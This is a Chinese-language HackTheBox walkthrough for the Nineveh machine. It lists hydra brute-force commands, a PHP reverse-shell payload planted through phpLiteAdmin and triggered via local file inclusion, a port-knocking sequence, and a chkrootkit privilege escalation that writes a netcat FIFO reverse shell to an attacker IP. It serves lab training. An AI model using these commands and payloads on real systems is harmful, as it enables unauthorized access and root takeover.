HackTheBox >_ Nineveh_43
Nineveh_43
端口信息
rustscan 10.10.10.43 -b 924 -t 1500 --no-nmap
nmap -sC -sV -T5 -Pn -oX sploit.xml -vvv -p 80,443 10.10.10.43 ; searchsploit --nmap sploit.xml
初始侦查
加入hosts
无变化
80
/department
443
phpliteadmin 1.9.3是存在漏洞的但是需要先登陆,尝试几个弱密码和默认密码,无法进入,暂时搁置
开始进攻
80
回头看80的登陆页面
测试了mysql登陆绕过,但是失败。
继续测试发现正确用户名和非正确用户名是能区别的
参照源码中,管理员应该是admin,测试正确,已知用户名并且有密码错误回显,抓包,使用hydra进行爆破
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!" -vV -I
admin:1q2w3e4r5t
登陆成功,用此凭证尝试443端口phpliteadmin登陆无效
点击nots
check your serect folder to get in!
http://10.10.10.43/department/manage.php?notes=serect/ninevehNotes.txt
测试了lfi但是没有收获
443端口同样有错误密码回显
尝试暴力phpliteadmin
同样抓包爆破
注意使用https-post-form
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password" -vV -I
password123
登陆成功
24044
根据漏洞信息,我们可以简单的通过新建db的方式在服务器生成我们想要的php文件,同时使用80端口的lfi对我们生成对shell php文件进行包含,即可获得shell
已经存在对test数据库 目录为/var/tmp/test,我们生成的php也会在/var/tmp目录下
因为这个太简单了就跳过测试的部分,正常应该先新建测试的php,测试包含,看能不能形成完整利用,但是这个机器做到这里,已经没有悬念了,直接利用
新建数据库evil.php
目录暴露为/var/tmp/evil.php
为evil新建表
增加数据,填入payload
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.30 1337 >/tmp/f"); ?>
建立好监听
无法成功包含。
经过反复测试包含时必须含有ninevehNotes的字样,才能正常执行
rename database
重命名为ninevehNotes.php
http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php
www-data shell
监听处获得shell
python3 -c "import pty; pty.spawn(['/bin/bash']);"
图片下载回本地分析
在过程中发现
strings nineveh.png
有ssh key
但是扫描没发现打开的ssh端口
敲端口
查看设置文件 /etc/knockd.conf
571,290,911
knock -v 10.10.10.43 571 290 911
ssh 连接
ssh -i id_rsa amrois@nineveh.htb
python -m SimpleHTTPServer 8080
/usr/sbin/report-reset.sh
存在计划任务,可惜和root没什么关系
是个定期删除/report下文件的脚本
chkrootkit
Chkrootkit <=0.49 Local Root Vulnerability:小于等于0.49版的chrootkit存在本地提权漏洞。
这个漏洞利用时只需在/tmp下制作一个update的可执行文件
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.30 1338 >/tmp/f" > /tmp/update
chkrootkit 扫描到时会以root执行
稍后在监听处获得rootshell
同样可以内核提权。4.4有很多可以利用的漏洞